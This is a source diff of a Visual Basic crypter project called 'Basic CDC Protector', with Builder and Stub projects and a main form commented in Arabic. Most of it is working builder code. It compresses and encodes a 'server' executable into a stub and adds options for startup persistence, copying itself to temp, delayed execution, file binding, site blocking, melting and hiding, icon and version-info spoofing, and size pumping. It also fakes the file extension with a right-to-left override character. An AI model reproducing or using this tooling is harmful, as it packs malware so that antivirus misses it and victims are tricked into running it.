Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
#Region "My.Settings Auto-Save Functionality"
#If _MyType = "WindowsForms" Then
Private Shared addedHandler As Boolean
Private Shared addedHandlerLockObject As New Object
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
If My.Application.SaveMySettingsOnExit Then
My.Settings.Save()
End If
End Sub
#End If
#End Region
Public Shared ReadOnly Property [Default]() As MySettings
Get
#If _MyType = "WindowsForms" Then
If Not addedHandler Then
SyncLock addedHandlerLockObject
If Not addedHandler Then
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
addedHandler = True
End If
End SyncLock
End If
#End If
Return defaultInstance
End Get
End Property
End Class
End Namespace
Namespace My
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
Friend Module MySettingsProperty
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
Friend ReadOnly Property Settings() As Global.Stb.My.MySettings
Get
Return Global.Stb.My.MySettings.Default
End Get
End Property
End Module
End Namespace
@@ -0,0 +1,7 @@
<?xml version='1.0' encoding='utf-8'?>
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
<Profiles>
<Profile Name="(Default)" />
</Profiles>
<Settings />
</SettingsFile>
@@ -0,0 +1,111 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="12.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{4A96F54A-B7AB-4B0F-B745-76D941A694D4}</ProjectGuid>
<OutputType>WinExe</OutputType>
<StartupObject>Sub Main</StartupObject>
<RootNamespace>Stb</RootNamespace>
<AssemblyName>Stub</AssemblyName>
<FileAlignment>512</FileAlignment>
<MyType>WindowsFormsWithCustomSubMain</MyType>
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<DefineDebug>true</DefineDebug>
<DefineTrace>true</DefineTrace>
<OutputPath>..\WindowsApplication118\bin\Debug\</OutputPath>
<DocumentationFile>Stub.xml</DocumentationFile>
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<DefineDebug>false</DefineDebug>
<DefineTrace>true</DefineTrace>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DocumentationFile>Stub.xml</DocumentationFile>
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
</PropertyGroup>
<PropertyGroup>
<OptionExplicit>On</OptionExplicit>
</PropertyGroup>
<PropertyGroup>
<OptionCompare>Binary</OptionCompare>
</PropertyGroup>
<PropertyGroup>
<OptionStrict>Off</OptionStrict>
</PropertyGroup>
<PropertyGroup>
<OptionInfer>On</OptionInfer>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Data" />
<Reference Include="System.Deployment" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Import Include="Microsoft.VisualBasic" />
<Import Include="System" />
<Import Include="System.Collections" />
<Import Include="System.Collections.Generic" />
<Import Include="System.Data" />
<Import Include="System.Drawing" />
<Import Include="System.Diagnostics" />
<Import Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="Main.vb" />
<Compile Include="My Project\AssemblyInfo.vb" />
<Compile Include="My Project\Application.Designer.vb">
<AutoGen>True</AutoGen>
<DependentUpon>Application.myapp</DependentUpon>
</Compile>
<Compile Include="My Project\Resources.Designer.vb">
<AutoGen>True</AutoGen>
<DesignTime>True</DesignTime>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
<Compile Include="My Project\Settings.Designer.vb">
<AutoGen>True</AutoGen>
<DependentUpon>Settings.settings</DependentUpon>
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="My Project\Resources.resx">
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
<CustomToolNamespace>My.Resources</CustomToolNamespace>
<SubType>Designer</SubType>
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
</EmbeddedResource>
</ItemGroup>
<ItemGroup>
<None Include="My Project\Application.myapp">
<Generator>MyApplicationCodeGenerator</Generator>
<LastGenOutput>Application.Designer.vb</LastGenOutput>
</None>
<None Include="My Project\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<CustomToolNamespace>My</CustomToolNamespace>
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
</None>
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>
@@ -0,0 +1,28 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.21005.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "Builder", "WindowsApplication118\Builder.vbproj", "{8DCDC538-0474-486C-9BE3-3429641D20F6}"
EndProject
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "Stb", "Stb\Stb.vbproj", "{4A96F54A-B7AB-4B0F-B745-76D941A694D4}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{8DCDC538-0474-486C-9BE3-3429641D20F6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{8DCDC538-0474-486C-9BE3-3429641D20F6}.Debug|Any CPU.Build.0 = Debug|Any CPU
{8DCDC538-0474-486C-9BE3-3429641D20F6}.Release|Any CPU.ActiveCfg = Release|Any CPU
{8DCDC538-0474-486C-9BE3-3429641D20F6}.Release|Any CPU.Build.0 = Release|Any CPU
{4A96F54A-B7AB-4B0F-B745-76D941A694D4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{4A96F54A-B7AB-4B0F-B745-76D941A694D4}.Debug|Any CPU.Build.0 = Debug|Any CPU
{4A96F54A-B7AB-4B0F-B745-76D941A694D4}.Release|Any CPU.ActiveCfg = Release|Any CPU
{4A96F54A-B7AB-4B0F-B745-76D941A694D4}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -0,0 +1,128 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{8DCDC538-0474-486C-9BE3-3429641D20F6}</ProjectGuid>
<OutputType>WinExe</OutputType>
<StartupObject>Builder.My.MyApplication</StartupObject>
<RootNamespace>Builder</RootNamespace>
<AssemblyName>Builder</AssemblyName>
<FileAlignment>512</FileAlignment>
<MyType>WindowsForms</MyType>
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<DefineDebug>true</DefineDebug>
<DefineTrace>true</DefineTrace>
<OutputPath>bin\Debug\</OutputPath>
<DocumentationFile>Builder.xml</DocumentationFile>
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<DefineDebug>false</DefineDebug>
<DefineTrace>true</DefineTrace>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DocumentationFile>Builder.xml</DocumentationFile>
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
</PropertyGroup>
<PropertyGroup>
<OptionExplicit>On</OptionExplicit>
</PropertyGroup>
<PropertyGroup>
<OptionCompare>Binary</OptionCompare>
</PropertyGroup>
<PropertyGroup>
<OptionStrict>Off</OptionStrict>
</PropertyGroup>
<PropertyGroup>
<OptionInfer>On</OptionInfer>
</PropertyGroup>
<PropertyGroup>
<ApplicationIcon>NEW Crypter.ico</ApplicationIcon>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Data" />
<Reference Include="System.Deployment" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Import Include="Microsoft.VisualBasic" />
<Import Include="System" />
<Import Include="System.Collections" />
<Import Include="System.Collections.Generic" />
<Import Include="System.Data" />
<Import Include="System.Drawing" />
<Import Include="System.Diagnostics" />
<Import Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="Form1.vb">
<SubType>Form</SubType>
</Compile>
<Compile Include="Form1.Designer.vb">
<DependentUpon>Form1.vb</DependentUpon>
<SubType>Form</SubType>
</Compile>
<Compile Include="My Project\AssemblyInfo.vb" />
<Compile Include="My Project\Application.Designer.vb">
<AutoGen>True</AutoGen>
<DependentUpon>Application.myapp</DependentUpon>
</Compile>
<Compile Include="My Project\Resources.Designer.vb">
<AutoGen>True</AutoGen>
<DesignTime>True</DesignTime>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
<Compile Include="My Project\Settings.Designer.vb">
<AutoGen>True</AutoGen>
<DependentUpon>Settings.settings</DependentUpon>
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Form1.resx">
<DependentUpon>Form1.vb</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="My Project\Resources.resx">
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
<CustomToolNamespace>My.Resources</CustomToolNamespace>
<SubType>Designer</SubType>
</EmbeddedResource>
</ItemGroup>
<ItemGroup>
<None Include="My Project\Application.myapp">
<Generator>MyApplicationCodeGenerator</Generator>
<LastGenOutput>Application.Designer.vb</LastGenOutput>
</None>
<None Include="My Project\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<CustomToolNamespace>My</CustomToolNamespace>
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
</None>
<None Include="Resources\Res.ini" />
</ItemGroup>
<ItemGroup>
<Content Include="NEW Crypter.ico" />
<None Include="Resources\res.exe" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,675 @@
Imports Microsoft.VisualBasic.CompilerServices
Imports System.Runtime.CompilerServices
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Security
Imports System.IO.Compression
Imports System.CodeDom.Compiler
Imports System.ComponentModel
Imports Mono.Cecil
Imports Mono.Cecil.Cil
Imports System.Security.Cryptography
Imports System.Text.RegularExpressions
Imports System.Text
Public Class Form1
Dim TheEOF As String
Dim EOF_Data As String = String.Empty
Dim c, oo, dd As New OpenFileDialog
Dim FileDdD As New OpenFileDialog
Dim FileDD As New SaveFileDialog
Dim dialog As New SaveFileDialog
#Region "Functions & Subs"
#Region " Global Variables "
Dim Point As New System.Drawing.Point()
Dim X, Y As Integer
#End Region
#Region " GUI "
Private Sub Main_MouseMove(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles MyBase.MouseMove
If e.Button = MouseButtons.Left Then
Point = Control.MousePosition
Point.X = Point.X - (X)
Point.Y = Point.Y - (Y)
Me.Location = Point
End If
End Sub
Private Sub Main_MouseDown(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles MyBase.MouseDown
X = Control.MousePosition.X - Me.Location.X
Y = Control.MousePosition.Y - Me.Location.Y
End Sub
#End Region
'Eof read and write
Public Function ReadEOFData(ByRef FilePath As String) As String
On Error GoTo errorhandle
Dim sEOFBuf, sFileBuf, sChar As String
Dim lPos2, lFF, lPos, lCount As Integer
If Dir(FilePath) = "" Then GoTo errorhandle
lFF = FreeFile()
FileOpen(lFF, FilePath, OpenMode.Binary)
sFileBuf = Space(LOF(lFF))
FileGet(lFF, sFileBuf)
FileClose(lFF)
lPos = InStr(1, StrReverse(sFileBuf), GetNullBytes(30))
sEOFBuf = (Mid(StrReverse(sFileBuf), 1, lPos - 1))
ReadEOFData = StrReverse(sEOFBuf)
If ReadEOFData = "" Then
End If
Exit Function
errorhandle:
ReadEOFData = String.Empty
End Function
Public Function GetNullBytes(ByRef lNum As Object) As String
Dim sBuf As String
Dim i As Short
For i = 1 To lNum
sBuf = sBuf & Chr(0)
Next
GetNullBytes = sBuf
End Function
Sub WriteEOFData(ByRef FilePath As String, ByRef EOFData As String)
Dim sFileBuf As String
Dim lFF As Integer
On Error Resume Next
If Dir(FilePath) = "" Then Exit Sub
lFF = FreeFile()
FileOpen(lFF, FilePath, OpenMode.Binary)
sFileBuf = Space(LOF(lFF))
FileGet(lFF, sFileBuf)
FileClose(lFF)
Kill(FilePath)
lFF = FreeFile()
FileOpen(lFF, FilePath, OpenMode.Binary)
FilePut(lFF, sFileBuf & EOFData)
FileClose(lFF)
End Sub
'random Letters
Public Function Randomisi(ByVal lenght As Integer) As String
Randomize()
Dim b() As Char
Dim s As New System.Text.StringBuilder("")
b = "你会讲英语中文吗这个字那个词在英语里是什么意思我想要个不允许吸烟的房间不劳动者不得食האםאתהדובראנגליתעבריתאנירוצהחדרללאעישוןבמהאתהעוסקלמחייתabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()1234567890ךابتثجحخدذرزسشصضطظعغفقكلمنهوي".ToCharArray()
For i As Integer = 1 To lenght
Randomize()
Dim z As Integer = Int(((b.Length - 2) - 0 + 1) * Rnd()) + 1
s.Append(b(z))
Next
Return s.ToString
End Function
'random numbers
Public Function Randomisi2(ByVal lenght As Integer) As String
Randomize()
Dim b() As Char
Dim s As New System.Text.StringBuilder("")
b = "123456789".ToCharArray()
For i As Integer = 1 To lenght
Randomize()
Dim z As Integer = Int(((b.Length - 2) - 0 + 1) * Rnd()) + 1
s.Append(b(z))
Next
Return s.ToString
End Function
'assemblley
Sub app()
On Error Resume Next
If File.Exists(Application.StartupPath & "\res.exe") Then
File.Delete(Application.StartupPath & "\res.exe")
End If
If File.Exists(Application.StartupPath & "\System.res") Then
File.Delete(Application.StartupPath & "\System.res")
End If
System.IO.File.WriteAllBytes(Application.StartupPath & "\res.exe", My.Resources.Res)
Dim src As String = My.Resources.String1
If File.Exists(Application.StartupPath & "\System.exe") Then
File.Delete(Application.StartupPath & "\System.exe")
End If
Dim Version = New Collections.Generic.Dictionary(Of String, String) : Version.Add("CompilerVersion", "v2.0")
Dim Compiler As VBCodeProvider = New VBCodeProvider(Version)
Dim cResults As CompilerResults
Dim Settings As New CompilerParameters()
With Settings
.GenerateExecutable = True
.OutputAssembly = Application.StartupPath & "\System.exe"
.CompilerOptions = "/target:winexe"
.ReferencedAssemblies.Add("System.dll")
.ReferencedAssemblies.Add("System.Windows.Forms.dll")
.MainClass = "X"
End With
src = src.Replace("1", TextBox20.Text)
src = src.Replace("2", TextBox21.Text)
src = src.Replace("3", TextBox22.Text)
src = src.Replace("4", TextBox23.Text)
src = src.Replace("5", TextBox24.Text)
src = src.Replace("6", TextBox25.Text)
src = src.Replace("*version*", NumericUpDown20.Value.ToString & "." & NumericUpDown21.Value.ToString & "." & NumericUpDown22.Value.ToString & "." & NumericUpDown23.Value.ToString)
src = src.Replace("*fversion*", NumericUpDown24.Value.ToString & "." & NumericUpDown25.Value.ToString & "." & NumericUpDown26.Value.ToString & "." & NumericUpDown27.Value.ToString)
cResults = Compiler.CompileAssemblyFromSource(Settings, src)
If cResults.Errors.Count > 0 Then
For Each CompilerError In cResults.Errors
MessageBox.Show("Error: " & CompilerError.ErrorText, "", MessageBoxButtons.OK, MessageBoxIcon.Error)
Next
File.Delete(Application.StartupPath & "\res.exe")
File.Delete(Application.StartupPath & "\res.log")
File.Delete(Application.StartupPath & "\res.ini")
File.Delete(Application.StartupPath & "\System.exe")
File.Delete(Application.StartupPath & "\System.res")
File.Delete(Application.StartupPath & "\System.exe")
File.Delete(Application.StartupPath & "\System.res")
File.Delete(Application.StartupPath & "\res.exe")
File.Delete(Application.StartupPath & "\res.log")
File.Delete(Application.StartupPath & "\res.ini")
File.Delete(Application.StartupPath & "\res.txt")
MessageBox.Show("An error occurred. The assembly was not changed.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
Exit Sub
End If
Dim otherfile As String = Application.StartupPath & "\System.exe"
Dim resfile As String = Application.StartupPath & "\System.res"
Shell(System.AppDomain.CurrentDomain.BaseDirectory() & "res.exe -extract " & otherfile & "," & resfile & ",VERSIONINFO,,")
Shell(System.AppDomain.CurrentDomain.BaseDirectory() & "res.exe -delete " & FileDD.FileName & "," & System.AppDomain.CurrentDomain.BaseDirectory() + "res.exe" & ",VERSIONINFO,,")
Shell(System.AppDomain.CurrentDomain.BaseDirectory() & "res.exe -addoverwrite " & FileDD.FileName & "," & FileDD.FileName & "," & resfile & ",VERSIONINFO,1,")
File.Delete(Application.StartupPath & "\System.exe")
File.Delete(Application.StartupPath & "\System.res")
File.Delete(Application.StartupPath & "\res.exe")
File.Delete(Application.StartupPath & "\res.log")
File.Delete(Application.StartupPath & "\res.ini")
File.Delete(Application.StartupPath & "\res.txt")
End Sub
'deleteresource
<DllImport("kernel32", EntryPoint:="BeginUpdateResourceA", CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)> _
Public Shared Function BeginUpdateResource(<MarshalAs(UnmanagedType.VBByRefStr)> ByRef pFileName As String, ByVal bDeleteExistingResources As Integer) As Integer
End Function
<DllImport("kernel32", EntryPoint:="EndUpdateResourceA", CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)> _
Public Shared Function EndUpdateResource(ByVal hUpdate As Integer, ByVal fDiscard As Integer) As Integer
End Function
Public Sub FlushIt(ByRef File As String)
Form1.EndUpdateResource(Form1.BeginUpdateResource(File, 1), 0)
End Sub
'Clone
Public Function GetPath() As String
Return Path.GetTempPath
End Function
Private Sub clone(ByVal SourceFile As String, ByVal DestinationFiles As String)
My.Computer.FileSystem.WriteAllBytes((Me.GetPath & "res.exe"), My.Resources.Res, False)
Interaction.Shell(String.Concat(New String() {Me.GetPath, "\\res.exe -extract ", SourceFile, ",", Me.GetPath, "\\info.res,VERSIONINFO,,"}), AppWinStyle.MinimizedFocus, False, -1)
Interaction.Shell(String.Concat(New String() {Me.GetPath, "\\res.exe -delete ", DestinationFiles, ",", Me.GetPath, "\\res.exe,VERSIONINFO,,"}), AppWinStyle.MinimizedFocus, False, -1)
Interaction.Shell(String.Concat(New String() {Me.GetPath, "\\res.exe -addoverwrite ", DestinationFiles, ",", DestinationFiles, ",", Me.GetPath, "\\info.res,VERSIONINFO,1,"}), AppWinStyle.MinimizedFocus, False, -1)
End Sub
'''''compress & convert
Public Shared Function Compress(ByVal bytData() As Byte) As Byte()
Using oMS As New MemoryStream()
'GZip object that compress the file
Using oGZipStream As New GZipStream(oMS, CompressionMode.Compress)
'Write to the Stream object from the buffer
oGZipStream.Write(bytData, 0, bytData.Length)
oGZipStream.Close()
ReDim bytData(oMS.ToArray.Length - 1)
bytData = oMS.ToArray
End Using
oMS.Close()
End Using
Return bytData
End Function
''تحويل من بايت لسترنج
Function BSs(ByVal bb As Byte()) As String
Return System.Text.Encoding.Default.GetString(bb)
End Function
#End Region
''بدء التشفير
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
On Error Resume Next
If TextBox1.Text = "" Or TextBox1.Text = "[ Server To Protect Path ]" Then
Interaction.MsgBox("Choose File To Protect.!", MsgBoxStyle.Critical, "Basic CDC Protector")
Else
Timer4.Start()
End If
ProgressBar1.Value = 0
End Sub
''اختيار ملف السرفر
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
Dim FileDD As New OpenFileDialog
With FileDD
.Filter = "Application (*.exe) |*.exe"
.Title = "Select Server To Cryped | "
If .ShowDialog() = Windows.Forms.DialogResult.Cancel Then
Exit Sub
End If
End With
TextBox1.Text = FileDD.FileName
''فحص لدعم الملف لخاصيه oef
TheEOF = ReadEOFData(FileDD.FileName)
If TheEOF = Nothing Then
Label1.Text = "EOF(Not Recommended)"
Label1.ForeColor = Color.Green
Else
Label1.Text = "EOF(Recommended)"
Label1.ForeColor = Color.Red
End If
End Sub
''اختيار الملف المدمج كل الصيغ
Private Sub Button7_Click(sender As Object, e As EventArgs) Handles Button7.Click
Dim oo As New OpenFileDialog With {.Filter = "Add File (Any File [*.*] | *.*", .ShowHelp = True}
If oo.ShowDialog = vbOK Then
TextBox6.Text = oo.FileName
End If
End Sub
''اختيار الايقونه
Private Sub Button5_Click(sender As Object, e As EventArgs) Handles Button5.Click
Dim o As New OpenFileDialog With {.Filter = "Icon Files (.ico)|*.ico", .ShowHelp = True}
If o.ShowDialog = vbOK Then
icotxt.Text = o.FileName
End If
PictureBox2.ImageLocation = c.FileName
c.FileName = icotxt.Text
End Sub
''بدء توليد سترنجات وارقام لمعلومات الملف
Private Sub Button6_Click(sender As Object, e As EventArgs) Handles Button6.Click
If Button6.Text = "Gen" Or Button6.Text = "Start" Then
Timer3.Start()
Button6.Text = "Stop"
Else
Timer3.Stop()
Timer3.Stop()
Button6.Text = "Start"
End If
End Sub
''''توليد سترنجات وارقام لمعلومات الملف
Private Sub Timer3_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick
On Error Resume Next
TextBox20.Text = Randomisi(10)
TextBox21.Text = Randomisi(10)
TextBox22.Text = Randomisi(10)
TextBox23.Text = Randomisi(10)
TextBox24.Text = Randomisi(10)
TextBox25.Text = Randomisi(10)
NumericUpDown20.Value = Randomisi2(2)
NumericUpDown21.Value = Randomisi2(2)
NumericUpDown22.Value = Randomisi2(2)
NumericUpDown23.Value = Randomisi2(2)
NumericUpDown24.Value = Randomisi2(2)
NumericUpDown25.Value = Randomisi2(2)
NumericUpDown26.Value = Randomisi2(2)
NumericUpDown27.Value = Randomisi2(2)
End Sub
''اختيار ملف لسحب معلوماته
Private Sub Button8_Click(sender As Object, e As EventArgs) Handles Button8.Click
With dd
.Filter = "Executable(*.exe) | *.exe"
.Title = "Choose Your File..."
.ShowDialog()
TextBox5.Text = dd.FileName
End With
End Sub
''كل ما يخص التشفير وكتابه الخصائص
Private Sub Timer4_Tick(sender As Object, e As EventArgs) Handles Timer4.Tick
Timer4.Stop()
Try
If Not File.Exists((Application.StartupPath & "\stub.exe")) Then
Interaction.MsgBox("Stub Not Found", MsgBoxStyle.Critical, Nothing)
Else
Dim definition As AssemblyDefinition = AssemblyDefinition.ReadAssembly((Application.StartupPath & "\stub.exe"))
Dim definition2 As ModuleDefinition
For Each definition2 In definition.Modules
Dim definition3 As TypeDefinition
For Each definition3 In definition2.Types
Dim definition4 As MethodDefinition
For Each definition4 In definition3.Methods
If (definition4.IsConstructor AndAlso definition4.HasBody) Then
Dim enumerator As IEnumerator(Of Instruction)
Try
enumerator = definition4.Body.Instructions.GetEnumerator
Do While enumerator.MoveNext
Dim current As Instruction = enumerator.Current
If ((current.OpCode.Code = Code.Ldstr) And (Not current.Operand Is Nothing)) Then
Dim str As String = current.Operand.ToString
If CheckBox1.Checked = True Then
EOF_Data = ReadEOFData(TextBox1.Text)
End If
ProgressBar1.Value = 0
''تشفير السرفر
Dim bv As Byte() = Compress(System.IO.File.ReadAllBytes(TextBox1.Text)) 'compress
Dim sss As String = Convert.ToBase64String(bv)
If (str = "[serverstring]") Then
current.Operand = sss
End If
ProgressBar1.Value = 10
''تفعيل او الغاءتفعيل نسخ السرفر
If copyser.Checked = True Then
If (str = "[Falsecopyserv]") Then
current.Operand = copyser.Checked.ToString
End If
If (str = "[%temp%]") Then
current.Operand = servpath.Text.ToString
End If
If (str = "[copFolder]") Then
current.Operand = Randomisi(10)
End If
If (str = "[copynam]") Then
current.Operand = TextBox2.Text
End If
End If
ProgressBar1.Value = 20
''تفعيل او الغاءتفعيل تثبيت السرفر
If CheckBox7.Checked = True Then
If (str = "[startupfalse]") Then
current.Operand = CheckBox7.Checked.ToString
End If
If (str = "[serregname]") Then
current.Operand = TextBox7.Text
End If
End If
''تفعيل او الغاء تفعيل اضافه ناخير لعمل السرفر
If CheckBox11.Checked = True Then
If (str = "[falsesrvsleep]") Then
current.Operand = CheckBox11.Checked.ToString
End If
If (str = "[srvsleeptime]") Then
current.Operand = TextBox4.Text
End If
End If
ProgressBar1.Value = 30
''تفعيل او الغاء تفعيل دمج ملف
If CheckBox1.Checked = True Then
If (str = "[falsebind]") Then
current.Operand = CheckBox1.Checked.ToString
End If
If (str = "[bindedstring]") Then
Dim aaaaa As String = BSs(Compress(System.IO.File.ReadAllBytes(TextBox6.Text)))
current.Operand = aaaaa
End If
If (str = "[bindtemp]") Then
current.Operand = bindpath.Text.ToString
End If
If (str = "[bindname]") Then
current.Operand = TextBox8.Text
End If
End If
''تفعيل او الغاء تفعيل اضافه ناخير لتشغيل الملف المدمج
If CheckBox14.Checked = True Then
If (str = "[falsebndleep]") Then
current.Operand = CheckBox14.Checked.ToString
End If
If (str = "[bndsleeptime]") Then
current.Operand = TextBox3.Text
End If
End If
ProgressBar1.Value = 40
''تفعيل او الغاءتفعيل حظر المواقع
If CheckBox5.Checked = True Then
If (str = "[falseblock]") Then
current.Operand = CheckBox5.Checked.ToString
End If
End If
ProgressBar1.Value = 50
''تفعيل او الغاءتفعيل اخفاء الاذابه
If CheckBox3.Checked = True Then
If (str = "[falsemelt]") Then
current.Operand = CheckBox3.Checked.ToString
End If
End If
ProgressBar1.Value = 60
''تفعيل او الغاءتفعيل اخفاء الملف
If CheckBox2.Checked = True Then
If (str = "[falsehide]") Then
current.Operand = CheckBox2.Checked.ToString
End If
End If
ProgressBar1.Value = 70
End If
Loop
Finally
End Try
End If
Next
Next
Next
With dialog
.Filter = "EXE Applications (*.exe)|*.exe"
.FileName = "Server.exe"
.ShowHelp = True
End With
If dialog.ShowDialog = vbOK Then
definition.Write(dialog.FileName)
ProgressBar1.Value = 75
''كتابه oef للسرفرات التى تدعمها
If CheckBox1.Checked = True Then
WriteEOFData(FileDD.FileName, EOF_Data)
End If
ProgressBar1.Value = 80
''تغيير الايقونه
If CheckBox4.Checked = True Then
If icotxt.Text = "" Or icotxt.Text = "[ Icon To Change Path ]" Then
Interaction.MsgBox("Choose Icon To Change Or Unckeck Enable Icon Changer .!", MsgBoxStyle.Critical, "Basic CDC Protector")
Else
IconInjector.InjectIcon(FileDD.FileName, c.FileName)
End If
End If
ProgressBar1.Value = 85
''
If CheckBox9.Checked = True Then
app()
End If
ProgressBar1.Value = 90
''زياده البايتات
If CheckBox10.Checked = True Then
Dim filesize As Double = Val(NumericUpDown1.Value)
If RadioButton1.Checked Then
filesize = filesize * 1024
End If
If RadioButton2.Checked Then
filesize = filesize * 1048576
End If
If RadioButton3.Checked Then
filesize = filesize * 1073741824
End If
If RadioButton4.Checked Then
filesize = filesize * 1099511627776
End If
Dim filetopump = IO.File.OpenWrite(FileDD.FileName)
Dim size = filetopump.Seek(0, IO.SeekOrigin.[End])
While size < filesize
filetopump.WriteByte(0)
size += 1
End While
filetopump.Close()
End If
ProgressBar1.Value = 95
''نغيير الصيغه
If CheckBox8.Checked = True Then
Dim str3 As String = Strings.StrReverse(Me.spoofbox.Text)
Dim str5 As String = FileDD.FileName.Replace(".exe", "")
Dim newPath As String = (str5 & ChrW(8238) & str3 & ".exe")
FileSystem.Rename(FileDD.FileName, newPath)
End If
